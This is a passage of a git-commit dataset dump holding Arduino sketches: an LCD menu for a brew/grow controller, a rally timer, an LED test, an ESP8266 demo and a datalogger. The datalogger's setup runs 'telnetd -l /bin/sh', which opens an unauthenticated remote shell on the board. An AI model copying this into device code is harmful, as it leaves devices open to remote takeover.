2);\n lcd.write(0x7E); \n menu = 55;\n } \n break;\n \n case 55: \n lcd.setCursor(5, 2);\n lcd.print(Kd,2);\n pulseprev = pulses;\n Kd = (pulseprev\/40);\n if(buttonstate == true) {\n coolPID.SetTunings(Kp,Ki,Kd);\n goHome();\n } \n break; \n \n case 60:\n lcd.setCursor(0, 1);\n lcd.print(\"Fan RUN for:\");\n lcd.setCursor(12, 1);\n lcd.write(0x7E);\n lcd.setCursor(13, 1);\n lcd.print(fanON);\n lcd.print(\" min\");\n lcd.setCursor(0, 2);\n lcd.print(\"Fan OFF for:\");\n lcd.setCursor(13, 2);\n lcd.print(fanOFF);\n lcd.print(\" min\");\n delay (10);\n \n pulseprev = pulses;\n fanON = (pulseprev\/4);\n \n if(buttonstate == true) {\n buttonstate = false;\n lcd.setCursor(12, 1);\n lcd.print(\" \");\n lcd.setCursor(12, 2);\n lcd.write(0x7E);\n pulses = (fanOFF * 5);\n menu = 61;\n }\n\n break;\n case 61:\n lcd.setCursor(13, 2);\n lcd.print(fanOFF);\n lcd.print(\" min\");\n delay (10);\n \n pulseprev = pulses;\n fanOFF = (pulseprev\/4);\n \n if(buttonstate == true) {\n buttonstate = false; \n lcd.clear();\n menu = 62;}\n break;\n \n case 62:\n lcd.setCursor(0,0);\n lcd.print(\"Run fan when \");\n lcd.setCursor(0,1);\n lcd.print(\"sensors disagree?\");\n delay (10);\n \n EncoderTranslate(2);\n FanAuto = pulseMod;\n lcd.setCursor(3, 3);\n lcd.write(0x7E);\n lcd.print(OnOff[FanAuto]);\n\n if(buttonstate == true) goHome(); \n break;\n \n \n case 70: \n lcd.setCursor(0, 0);\n lcd.print(\"Current time: \");\n lcd.write(0x7E);\n lcd.setCursor(1, 2);\n lcd.print(\"Lights on: \");\n lcd.setCursor(1, 3);\n lcd.print(\"Lights off:\");\n \n Time = millis() + TimeAdjust;\n Hours = (Time%86400000)\/3600000;\n Minutes = (Time%3600000)\/60000;\n \n lcd.setCursor(15, 0);\n if (Hours < 10) lcd.print(\"0\");\n lcd.print(Hours);\n lcd.print(\":\");\n if (Minutes < 10) lcd.print(\"0\"); \n lcd.print(Minutes);\n delay (10);\n \n pulseprev = pulses;\n TimeAdjust = pulseprev * 60000;\n \n if (TimeAdjust > 86400000){\n TimeAdjust = 60000;\n pulses = 1; }\n if (TimeAdjust < 60000){\n TimeAdjust = 86400000;\n pulses = 1440; }\n\n if(buttonstate == true) {\n buttonstate = false;\n lcd.setCursor(14, 0);\n lcd.print(\" \");\n pulses = (LightON \/ 60000);\n menu = 71;\n }\n break;\n \n case 71: \n Hours = (LightON%86400000)\/3600000;\n Minutes = (LightON%3600000)\/60000;\n\n lcd.setCursor(14, 2);\n lcd.write(0x7E);\n \n \n lcd.setCursor(15, 2);\n if (Hours < 10)\n {lcd.print(\"0\");}\n lcd.print(Hours);\n lcd.print(\":\");\n if (Minutes < 10)\n lcd.print(\"0\"); \n lcd.print(Minutes);\n delay (10);\n \n pulseprev = pulses;\n LightON = pulseprev * 60000;\n \n if (LightON > 86400000){\n LightON = 60000;\n pulses = 1; }\n if (LightON < 60000){\n LightON = 86400000;\n pulses = 1440; }\n \n if(buttonstate == true) {\n buttonstate = false;\n lcd.setCursor(14, 2);\n lcd.print(\" \");\n pulses = (LightOFF \/ 60000);\n menu = 72;\n }\n break;\n \n case 72: \n Hours = (LightOFF%86400000)\/3600000;\n Minutes = (LightOFF%3600000)\/60000;\n lcd.setCursor(14, 3);\n lcd.write(0x7E);\n \n lcd.setCursor(15, 3);\n if (Hours < 10) lcd.print(\"0\");\n lcd.print(Hours);\n lcd.print(\":\");\n if (Minutes < 10) lcd.print(\"0\"); \n lcd.print(Minutes);\n delay (10);\n \n pulseprev = pulses;\n LightOFF = pulseprev * 60000;\n \n if (LightOFF > 86400000){\n LightOFF = 60000;\n pulses = 1; }\n if (LightOFF < 60000){\n LightOFF = 86400000;\n pulses = 1440; }\n \n if(buttonstate == true){ \n \/\/ Return clock vars to time (from lightoff)\n Time = millis() + TimeAdjust;\n EEPROM_record();\n Hours = (Time%86400000)\/3600000;\n Minutes = (Time%3600000)\/60000;\n goHome();}\n break;\n \n case 80: \n\n lcd.setCursor(0, 0);\n lcd.print(\"Sensor summary:\");\n lcd.print((100*Output\/1800000),0);\n lcd.print(\"%\");\n lcd.setCursor(0, 1);\n lcd.print(\"DHT22: \");\n lcd.print(Temp3,1);\n lcd.printByte(1);\n lcd.setCursor(13, 1);\n \n lcd.print(Hum,0);\n lcd.printByte(2);\n lcd.setCursor(0, 2);\n lcd.print(\"Temp1: \");lcd.print(Temp1,1);\n lcd.printByte(1);\n lcd.setCursor(0, 3);\n lcd.print(\"Temp2: \");lcd.print(Temp2,1);\n lcd.printByte(1); \n \n SensorCheck(); \n \n if(buttonstate == true) {\n goHome();\n }\n \n break; \n \n case 90:\n lcd.setCursor(1, 1);\n lcd.write(0x7E);\n lcd.setCursor(1, 2);\n lcd.print(\" \"); \n lcd.setCursor(2, 1);\n lcd.print(\"Go to brew mode!\");\n lcd.setCursor(2, 2);\n lcd.print(\"Cancel\");\n \n if(abs((pulseprev - pulses)) > 3){\n menu = 91;\n pulseprev = pulses;\n } \n \n if(buttonstate == true) {\n buttonstate = false; \n Loading();\n lcd.setCursor(0, 0);\n for( int x = 0; x < 20; x++){\n lcd.printByte(0);}\n lcd.setCursor(0, 3);\n for( int x = 0; x < 20; x++){\n lcd.printByte(0);}\n lcd.setCursor(1, 1);\n lcd.print(\"IT'S BREWIN' TIME!\");\n lcd.setCursor(2, 2);\n lcd.print(\"*glug glug glug*\");\n delay(3000);\n sensorTime2 = millis();\n Mode = 0;\n \/\/preset = 0;\n EEPROM_writeAnything(8, Mode);\n goHome();\n }\n \n break;\n \n case 91:\n lcd.setCursor(1, 1);\n lcd.print(\" \");\n lcd.setCursor(1, 2);\n lcd.write(0x7E);\n \n if(abs((pulseprev - pulses)) > 3){\n menu = 90;\n pulseprev = pulses;\n } \n \n if(buttonstate == true) {\n goHome();\n }\n break;\n \n case 92:\n lcd.setCursor(1, 1);\n lcd.write(0x7E);\n lcd.setCursor(1, 2);\n lcd.print(\" \"); \n lcd.setCursor(2, 1);\n lcd.print(\"Go to grow mode!\");\n lcd.setCursor(2, 2);\n lcd.print(\"Cancel\");\n \n if(abs((pulseprev - pulses)) > 20){\n menu = 93;\n pulseprev = pulses;\n } \n \n if(buttonstate == true) {\n Loading();\n lcd.setCursor(0, 0);\n for( int x = 0; x < 20; x++){\n lcd.printByte(0);}\n lcd.setCursor(0, 3);\n for( int x = 0; x < 20; x++){\n lcd.printByte(0);}\n lcd.setCursor(1, 1);\n lcd.print(\"IT'S GROWIN' TIME!\");\n lcd.setCursor(2, 2);\n lcd.print(\"*nom nom nom nom*\");\n delay(3000);\n Mode = 1;\n \/\/preset = 0;\n EEPROM_writeAnything(8, Mode);\n goHome();\n }\n \n break;\n \n case 93:\n lcd.setCursor(1, 1);\n lcd.print(\" \");\n lcd.setCursor(1, 2);\n lcd.write(0x7E);\n \n if(abs((pulseprev - pulses)) > 20){\n menu = 90;\n pulseprev = pulses;\n } \n \n if(buttonstate == true) {\n goHome();\n }\n break;\n \n case 100:\n EEPROM_record();\n lcd.clear();\n lcd.setCursor(3, 1);\n lcd.print(\"Settings Saved\");\n lcd.setCursor(7, 2);\n lcd.printByte(0);\n lcd.printByte(0);\n lcd.printByte(0);\n delay (1000);\n goHome();\n break;\n \n delay (50);\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Menus.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4811d732b63506b916698a90b9074dff281422ba","subject":"added firmware for rallyx_timer","message":"added firmware for rallyx_timer\n","repos":"LateralGs\/rallyx_timing_scoring,LateralGs\/rallyx_timing_scoring,LateralGs\/rallyx_timing_scoring","old_file":"firmware\/rallyx_timer\/rallyx_timer.ino","new_file":"firmware\/rallyx_timer\/rallyx_timer.ino","new_contents":"#include <TimerOne.h>\n#include <Wire.h>\n#include <EEPROM.h>\n#include <string.h>\n#include <strings.h>\n#include <stdlib.h>\n\n#define PIN_LED 13 \/\/ internal debug led\n#define PIN_SQW 22\n#define PIN_SCL 19\n#define PIN_SDA 18\n#define PIN_TS 0\n#define PIN_TF 1\n#define PIN_MTS 2\n#define PIN_MTF 3\n\n\/\/ all time is in milliseconds\n#define DEFAULT_DEBOUNCE 10\n#define DEFAULT_DEADTIME 10000\n\n\/\/ increment this any time the rom format is changed or needs to be cleared\n#define EEPROM_VERSION 0\n\ntypedef enum {\n ROM_OFFSET_VERSION=0,\n ROM_OFFSET_DEBOUNCE,\n ROM_OFFSET_DEADTIME,\n ROM_OFFSET_START\n} rom_offset_t;\n\ntypedef enum {\n SOURCE_START = 0,\n SOURCE_FINISH,\n SOURCE_MANUAL_START,\n SOURCE_MANUAL_FINISH\n} time_source_t;\n\ntypedef struct \n{\n uint32_t pin;\n bool active;\n uint32_t debounce_count;\n uint32_t deadtime_count;\n uint32_t time;\n} trigger_state_t;\n\ntypedef struct\n{\n uint32_t time;\n time_source_t source;\n} time_event_t;\n\nvolatile uint32_t debounce = DEFAULT_DEBOUNCE; \/\/ max number of debounce cycles\nvolatile uint32_t deadtime = DEFAULT_DEADTIME; \/\/ deadtime before next trigger\n\nvolatile uint32_t ms_time = 0; \/\/ master millisecond time\n\nvolatile uint32_t trigger_count = 0;\n\nvolatile trigger_state_t start_trigger = {PIN_TS, false, 0, 0};\nvolatile trigger_state_t finish_trigger = {PIN_TF, false, 0, 0};\nvolatile trigger_state_t manual_start_trigger = {PIN_MTS, false, 0, 0};\nvolatile trigger_state_t manual_finish_trigger = {PIN_MTF, false, 0, 0};\n\nbool update_trigger( volatile trigger_state_t * trigger )\n{\n \/\/ triggers are active low\n \/\/ debounce_count follows pin state\n if( digitalRead(trigger->pin) )\n {\n trigger->debounce_count = trigger->debounce_count < debounce ? trigger->debounce_count + 1 : debounce;\n }\n else\n {\n trigger->debounce_count = trigger->debounce_count > 0 ? trigger->debounce_count - 1 : 0;\n }\n\n trigger->deadtime_count = trigger->deadtime_count > 0 ? trigger->deadtime_count - 1 : 0;\n\n if( trigger->active == false && trigger->debounce_count == 0 )\n {\n \/\/ falling debounced edge detected\n trigger->active = true;\n\n if( trigger->deadtime_count == 0 )\n {\n trigger->time = ms_time;\n trigger->deadtime_count = deadtime;\n }\n return true;\n }\n else if( trigger->active == true && trigger->debounce_count >= debounce )\n {\n \/\/ rising debounced edge detected\n trigger->active = false;\n return false;\n }\n else\n {\n \/\/ no change\n return false;\n }\n}\n\nvoid timer_tick(void)\n{\n ms_time++;\n\n update_trigger(&start_trigger);\n update_trigger(&finish_trigger);\n update_trigger(&manual_start_trigger);\n update_trigger(&manual_finish_trigger);\n}\n\nuint32_t eeprom_read(uint32_t offset)\n{\n uint32_t value;\n uint32_t addr = offset * 4;\n\n value = EEPROM.read(addr+0);\n value |= EEPROM.read(addr+1) << 8;\n value |= EEPROM.read(addr+2) << 16;\n value |= EEPROM.read(addr+3) << 24;\n\n return value;\n}\n\nvoid eeprom_write(uint32_t offset, uint32_t value)\n{\n uint32_t addr = offset * 4;\n\n EEPROM.write(addr+0, value & 0xff);\n EEPROM.write(addr+1, (value >> 8) & 0xff);\n EEPROM.write(addr+2, (value >> 16) & 0xff);\n EEPROM.write(addr+3, (value >> 24) & 0xff);\n}\n\nvoid format_eeprom(void)\n{\n eeprom_write(ROM_OFFSET_VERSION, EEPROM_VERSION);\n eeprom_write(ROM_OFFSET_DEBOUNCE, debounce);\n eeprom_write(ROM_OFFSET_DEADTIME, deadtime);\n eeprom_write(ROM_OFFSET_START, 0xff);\n}\n\nvoid print_time(uint32_t time)\n{\n uint32_t ms = time % 1000;\n uint32_t s = (time \/ 1000) % 60;\n uint32_t m = (time \/ 60000) % 60;\n uint32_t h = time \/ 3600000;\n\n if( h < 10 )\n Serial.write('0');\n Serial.print(h);\n Serial.write(':');\n if( m < 10 )\n Serial.write('0');\n Serial.print(m);\n Serial.write(':');\n if( s < 10 )\n Serial.write('0');\n Serial.print(s);\n Serial.write('.');\n if( ms < 100 )\n Serial.write('0');\n if( ms < 10 )\n Serial.write('0');\n Serial.print(ms);\n}\n\nvoid setup(void)\n{\n for( uint32_t pin = 0; pin < 34; pin++ )\n {\n switch(pin)\n {\n case PIN_LED:\n pinMode(pin, OUTPUT);\n break;\n default:\n pinMode(pin, INPUT_PULLUP);\n break;\n }\n }\n\n Serial.begin(0);\n\n if( eeprom_read(ROM_OFFSET_VERSION) != EEPROM_VERSION )\n {\n format_eeprom();\n }\n else \/\/ load eeprom settings\n {\n debounce = eeprom_read(ROM_OFFSET_DEBOUNCE);\n deadtime = eeprom_read(ROM_OFFSET_DEADTIME);\n }\n\n Timer1.initialize(1000);\n Timer1.attachInterrupt(timer_tick);\n Timer1.start();\n}\n\nvoid command_process(char * cmd, uint32_t value, bool val_ok )\n{\n if( strcasecmp(cmd, \"ping\") == 0 )\n {\n Serial.print(\"P \");\n Serial.println(value);\n }\n else if( strcasecmp(cmd, \"recall\") == 0 )\n {\n \/\/Serial.println(\"R M1 01:23:45.678 123345 123\");\n Serial.println(\"E not implemented\");\n }\n else if( strcasecmp(cmd, \"clear\") == 0 )\n {\n \/\/Serial.println(\"C\");\n Serial.println(\"E not implemented\");\n }\n else if( strcasecmp(cmd, \"debounce\") == 0 )\n {\n if( val_ok )\n {\n debounce = value;\n eeprom_write(ROM_OFFSET_DEBOUNCE, debounce);\n }\n Serial.print(\"B \");\n Serial.println(debounce);\n }\n else if( strcasecmp(cmd, \"deadtime\") == 0 )\n {\n if( val_ok )\n {\n deadtime = value;\n eeprom_write(ROM_OFFSET_DEADTIME, deadtime);\n }\n Serial.print(\"D \");\n Serial.println(deadtime);\n }\n else\n {\n Serial.println(\"E bad command\");\n Serial.print(\"E \");\n Serial.println(cmd);\n }\n}\n\nvoid command_update(void)\n{\n static char buffer[256];\n static uint32_t count = 0;\n char c;\n char *cmd;\n char *param;\n char *endptr;\n uint32_t value;\n\n while( Serial.available() )\n {\n c = Serial.read();\n switch( c )\n {\n case '\\r':\n case '\\n':\n if( count > 0 )\n {\n \/\/ parse command\n \/\/ format: <cmd> <value>\n cmd = strtok(buffer, \" \");\n param = strtok(NULL, \" \");\n value = param != NULL ? strtoul(param, &endptr, 0) : 0;\n\n command_process(cmd, value, (param != NULL) && (*endptr == 0));\n\n \/\/ reset buffer\n count = 0;\n buffer[count] = 0;\n }\n break;\n case 8: \/\/ delete\/backspace\n if( count > 0 )\n {\n count--;\n buffer[count] = 0;\n }\n break;\n case '\\t':\n \/\/ convert tabs to single space\n c = ' ';\n \/\/ fall through to ' '\n case ' ':\n \/\/ filter out leading and multiple whitespace\n if( count == 0 || buffer[count-1] == ' ')\n {\n break;\n }\n \/\/ fall through to default\n default:\n if( c >= 32 && count < (sizeof(buffer) - 1) )\n {\n buffer[count] = c;\n count++;\n buffer[count] = 0;\n }\n break;\n }\n }\n}\n\nvoid loop_wait(void)\n{\n static uint32_t prev_time = 0;\n while( prev_time == ms_time );\n prev_time = ms_time;\n}\n\nvoid loop(void)\n{\n digitalWrite(PIN_LED, HIGH);\n\n if( start_trigger.time )\n {\n Serial.print(\"T 1 \");\n print_time(start_trigger.time);\n Serial.write(' ');\n Serial.print(start_trigger.time);\n Serial.write(' ');\n Serial.println(trigger_count++);\n start_trigger.time = 0;\n }\n\n if( finish_trigger.time )\n {\n Serial.print(\"T 2 \");\n print_time(finish_trigger.time);\n Serial.write(' ');\n Serial.print(finish_trigger.time);\n Serial.write(' ');\n Serial.println(trigger_count++);\n finish_trigger.time = 0;\n }\n\n if( manual_start_trigger.time )\n {\n Serial.print(\"T M1 \");\n print_time(manual_start_trigger.time);\n Serial.write(' ');\n Serial.print(manual_start_trigger.time);\n Serial.write(' ');\n Serial.println(trigger_count++);\n manual_start_trigger.time = 0;\n }\n\n if( manual_finish_trigger.time )\n {\n Serial.print(\"T M2 \");\n print_time(manual_finish_trigger.time);\n Serial.write(' ');\n Serial.print(manual_finish_trigger.time);\n Serial.write(' ');\n Serial.println(trigger_count++);\n manual_finish_trigger.time = 0;\n }\n\n command_update();\n\n digitalWrite(PIN_LED, LOW);\n\n loop_wait();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'firmware\/rallyx_timer\/rallyx_timer.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"646d0930054ba3b843692e839c269bb0e6c09b8f","subject":"add additional output variables to print in basic algorithm","message":"add additional output variables to print in basic algorithm\n","repos":"KaichenWang\/wireless-thermometer,KaichenWang\/wireless-thermometer,KaichenWang\/wireless-thermometer,KaichenWang\/wireless-thermometer","old_file":"Basic_Algo\/Basic_Algo.ino","new_file":"Basic_Algo\/Basic_Algo.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/KaichenWang\/wireless-thermometer.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"dcee5d7193185b37a38b9ae981f744a3034f8171","subject":"Add Arduino sketch for testing individual strips","message":"Add Arduino sketch for testing individual strips\n\nThis program cycles through all patterns of fully lit R, G, and B lights\nin a known pattern at a known rate, so we can test each strip as it is\nmade.\n","repos":"godlygeek\/LightRender,MaddAddaM\/LightRender","old_file":"Arduino\/LightTestPattern\/LightTestPattern.ino","new_file":"Arduino\/LightTestPattern\/LightTestPattern.ino","new_contents":"\/\/ Program for testing a single strip of lights.\n\/\/ Cycles through each possible combination of pure colors:\n\/\/ #000000 #FF0000 #00FF00 #FFFF00 #0000FF #FF00FF #00FFFF #FFFFFF\n\/\/ For each color, lights up lights one at a time with a slight delay between\n\/\/ individual lights, then leaves the whole strip lit up for 2 seconds.\n\n#include <FAB_LED.h>\n\nconst uint8_t numPixels = 20;\n\napa106<D, 6> LEDstrip;\nrgb pixels[numPixels] = {};\n\nvoid setup()\n{\n}\n\nvoid loop()\n{\n static int color;\n\n for (int i = 0; i < numPixels; ++i) {\n pixels[i].r = !!(color & 1) * 255;\n pixels[i].g = !!(color & 2) * 255;\n pixels[i].b = !!(color & 4) * 255;\n delay(100);\n LEDstrip.sendPixels(numPixels, pixels);\n }\n\n color = (color + 1) % 8;\n\n \/\/ Display the pixels on the LED strip.\n LEDstrip.sendPixels(numPixels, pixels);\n delay(2000);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Arduino\/LightTestPattern\/LightTestPattern.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"6e4f199f0eb0702bb2e38f0324eaf72879ee1c18","subject":"Add ArbitraryCommands demo.","message":"Add ArbitraryCommands demo.\n","repos":"koltegirish\/ESP8266_Simple,Autonomi\/ESP8266,sleemanj\/ESP8266_Simple","old_file":"examples\/ArbitraryCommands\/ArbitraryCommands.ino","new_file":"examples\/ArbitraryCommands\/ArbitraryCommands.ino","new_contents":"\/** \n * Copyright (C) 2014 James Sleeman\n * \n * Permission is hereby granted, free of charge, to any person obtaining a \n * copy of this software and associated documentation files (the \"Software\"), \n * to deal in the Software without restriction, including without limitation \n * the rights to use, copy, modify, merge, publish, distribute, sublicense, \n * and\/or sell copies of the Software, and to permit persons to whom the \n * Software is furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in \n * all copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n * THE SOFTWARE.\n * \n * @author James Sleeman, http:\/\/sparks.gogo.co.nz\/\n * @license MIT License\n *\/\n\n#include <Arduino.h>\n#include <SoftwareSerial.h>\n#include <ESP8266_Simple.h>\n\n\/\/ These are the SSID and PASSWORD to connect to your Wifi Network\n#define ESP8266_SSID \"\"\n#define ESP8266_PASS \"\"\n\nESP8266_Simple wifi(8,9);\n\n\/\/ See HelloWorld example for further comments.\n\nvoid setup()\n{ \n Serial.begin(115200);\n Serial.println(\"ESP8266 Demo Sketch\");\n\n wifi.begin(9600); \n wifi.setupAsWifiStation(ESP8266_SSID, ESP8266_PASS, &Serial); \n \n \/\/ A blank line just for debug formatting \n Serial.println();\n}\n\nvoid loop()\n{\n \n \/\/ This example is just to show you how to issue an arbitrary command to \n \/\/ the esp8266 device.\n byte responseCode; \n char buffer[300]; \n Serial.print(\"Getting Access Points: \");\n if((responseCode = wifi.sendCommand(F(\"AT+CWLAP\"), buffer, sizeof(buffer))) == ESP8266_OK)\n {\n \/\/ The command worked, prnt the result\n Serial.println(\"OK\");\n Serial.println(buffer);\n }\n else\n {\n \/\/ An error occurred, would you like to see what\n wifi.debugPrintError(responseCode, &Serial);\n \n \/\/ Or you can get it as a string if you prefer\n char bufferWithMinLength50Char[50];\n wifi.getErrorMessage(responseCode, bufferWithMinLength50Char); \n }\n \n Serial.println();\n delay(5000); \n}","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/ArbitraryCommands\/ArbitraryCommands.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"7a7427bbab768ab005ad5e8e1447ebce04853aa7","subject":"","message":"\n\nadd servo control - angles loop","repos":"electronicplayground\/ep-arduino,electronicplayground\/ep-arduino,electronicplayground\/ep-arduino,electronicplayground\/ep-arduino","old_file":"LinkitCamera\/LinkitCamera.ino","new_file":"LinkitCamera\/LinkitCamera.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/electronicplayground\/ep-arduino.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"6031fc8c3c82be234d44ea4fcbeea2a2ec310b83","subject":"Client Listener","message":"Client Listener\n\nClient is always listening for network communication from master hub\n","repos":"dltn\/tortellini,dltn\/tortellini","old_file":"client-firmware\/badge_client\/badge_client.ino","new_file":"client-firmware\/badge_client\/badge_client.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/dltn\/tortellini.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"1589e564386473c462f816323330b525757a90b7","subject":"Manually align the right curly braces.","message":"Manually align the right curly braces.\n\nOh man... that looks beautiful.\n","repos":"kdomen\/Morse-Code","old_file":"Morse-Code\/morse-code.ino","new_file":"Morse-Code\/morse-code.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/kdomen\/Morse-Code.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"9a0482291770eeab92bf609efe69532d6cd8da49","subject":"add datalogger source","message":"add datalogger source\n","repos":"thomaskambe\/datalogger,thomaskambe\/datalogger","old_file":"datalogger.ino","new_file":"datalogger.ino","new_contents":"#include <Ethernet.h>\n#include <EthernetUdp.h> \n#include <SD.h>\n#include <Wire.h>\n\nbyte mac[] = { \n 0x98, 0x4F, 0xEE, 0x01, 0x5B, 0x00 }; \/\/ mac adress of galileo\nIPAddress ip(10,2,95,6); \/\/ ip of galileo\nunsigned int localPort = 5810; \/\/ local port to listen on\nchar packetBuffer[UDP_TX_PACKET_MAX_SIZE]; \/\/ buffer to hold incoming packet,\nEthernetUDP Udp;\n\nconst int DS1307 = 0x68;\nconst int redPin = 7;\nconst int grnPin = 6;\nconst int redPin2 = 9;\nconst int grnPin2 = 10;\nconst int a0Pin = 2;\nconst int a1Pin = 3;\nconst int a2Pin = 4;\nconst int shortOn = 250;\nconst int shortOff = 200;\nconst int longOff = 1000;\nconst int errorFlash = 500;\nconst int timeOut = 10000;\n\nFile dataFile;\nchar dataFileName[40];\nbyte second;\nbyte minute;\nbyte hour;\nbyte day;\nbyte year;\nbyte month;\n\n\n\/\/ --------------------------------------------------\n\/\/ get the match number and increment\n\/\/ --------------------------------------------------\nint getMatchNum(void) {\n File matchFile;\n char matchNumFile[] = \"matchNum.txt\";\n int match = 0;\n\n if (!SD.exists(matchNumFile)) {\n matchFile = SD.open(matchNumFile, FILE_WRITE);\n if (matchFile) {\n matchFile.print(++match);\n matchFile.close();\n }\n else\n return (0);\n }\n else {\n matchFile = SD.open(matchNumFile, FILE_READ);\n if (matchFile) {\n char fileData = matchFile.read();\n while (fileData != -1) {\n match = match*10 + (fileData - '0');\n fileData = matchFile.read();\n }\n matchFile.close();\n\n SD.remove(matchNumFile);\n matchFile = SD.open(matchNumFile, FILE_WRITE);\n match += 1;\n matchFile.print(match);\n matchFile.close();\n }\n else\n return (0);\n }\n return (match);\n} \/\/ getMatchNum\n\n\n\/\/ --------------------------------------------------\n\/\/ blink error lights\n\/\/ --------------------------------------------------\nvoid error() {\n while(1) {\n digitalWrite(redPin, LOW);\n delay(shortOff);\n digitalWrite(redPin, HIGH);\n delay(shortOff);\n }\n} \/\/ error\n\n\n\/\/ --------------------------------------------------\n\/\/ setup function\n\/\/ --------------------------------------------------\nvoid setup() {\n int match;\n\n system(\"telnetd -l \/bin\/sh\"); \/\/ open galileo for ethernet access\n Serial.begin(9600);\n Serial.println(\"begin\");\n\n \/\/ set the date on the galileo using the RTC\n Wire.begin();\n readTime();\n sprintf(dataFileName, \"date %02d%02d%02d%02d20%02d\", month, day, hour, minute, year);\n system(dataFileName);\n\n \/\/ begin the UDP connections\n Ethernet.begin(mac,ip); \/\/ robot\n \/\/Ethernet.begin(mac); \/\/ dhcp\n Udp.begin(localPort);\n\n \/\/ set the I\/O pins\n pinMode(a0Pin, OUTPUT); \/\/ A0\n pinMode(a1Pin, OUTPUT); \/\/ A1\n pinMode(a2Pin, OUTPUT); \/\/ A2\n pinMode(redPin, OUTPUT); \/\/ red\n pinMode(grnPin, OUTPUT); \/\/ green\n pinMode(redPin2, OUTPUT); \/\/ red\n pinMode(grnPin2, OUTPUT); \/\/ green\n digitalWrite(redPin, LOW); \/\/ off\n digitalWrite(grnPin, LOW); \/\/ off\n} \/\/setup\n\n\n\/\/ --------------------------------------------------\n\/\/ create data file and write headers\n\/\/ --------------------------------------------------\nint createDataFile(void) {\n \/\/if (!(match = getMatchNum())) error();\n \/\/sprintf(dataFileName, \"%08d.csv\", match); \/\/ no clock\n readTime();\n sprintf(dataFileName,\"%02d_%02d-%02d-%02d.csv\", day, hour, minute, second);\n dataFile = SD.open(dataFileName, FILE_WRITE);\n dataFile.print(\"time;tempLeftDrive4;tempLeftDrive3;tempRightDrive1;tempRightDrive2;tempLift0;tempCompressor6;\");\n dataFile.print(\"currentLift;currentMotor2;currentMotor3;currentMotor4;\");\n dataFile.println(\"currentMotor5;voltageRobot;liftEncoder\"); \/\/ write the header to the file\n dataFile.print(\"0;0;0;0;0;0;0;0;0;0;0;0;0;0\"); \/\/ write all zeros for the first line\n dataFile.flush();\n return (0);\n} \/\/ createDataFile\n\n\n\/\/ --------------------------------------------------\n\/\/ main loop\n\/\/ --------------------------------------------------\nvoid loop() {\n static int s = 0;\n static int ledState = 0;\n static unsigned long initialTime;\n static unsigned long writeTime;\n static unsigned long packetTime;\n static unsigned long grnTime = 0;\n static unsigned long redTime = 0;\n int packetSize;\n int i;\n static int adc[6] = {\n 0,0,0,0,0,0 };\n static char chan = 0;\n float temp;\n static unsigned long muxTime = 0;\n char tempString[40];\n\n switch(s) {\n\n case 0: \/\/wait for first packet\n packetSize = Udp.parsePacket();\n if (packetSize) {\n if (!createDataFile()) {\n i = Udp.read(packetBuffer,UDP_TX_PACKET_MAX_SIZE);\n initialTime = millis();\n packetTime = initialTime;\n writeTime = 0;\n if (packetBuffer[0] != '#') {\n dataFile.print(\";\\r\\n\");\n dataFile.print(writeTime);\n sprintf(tempString, \";%d;%d;%d;%d;%d;%d;\", adc[0], adc[1], adc[2], adc[3], adc[4], adc[5]);\n dataFile.print(tempString);\n }\n else\n dataFile.print(\";\");\n dataFile.write((uint8_t *)packetBuffer, i);\n dataFile.flush();\n redTime = initialTime + errorFlash;\n digitalWrite(redPin, HIGH);\n digitalWrite(redPin2, HIGH);\n s = 1;\n }\n else\n s = 7;\n } \/\/ if\n break;\n\n case 1: \/\/ wait for packet\n packetSize = Udp.parsePacket();\n if (packetSize) {\n i = Udp.read(packetBuffer,UDP_TX_PACKET_MAX_SIZE);\n packetTime = millis();\n writeTime = packetTime - initialTime;\n if (packetBuffer[0] != '#') {\n dataFile.print(\";\\r\\n\");\n dataFile.print(writeTime);\n sprintf(tempString, \";%d;%d;%d;%d;%d;%d;\", adc[0], adc[1], adc[2], adc[3], adc[4], adc[5]);\n dataFile.print(tempString);\n }\n else\n dataFile.print(\";\");\n 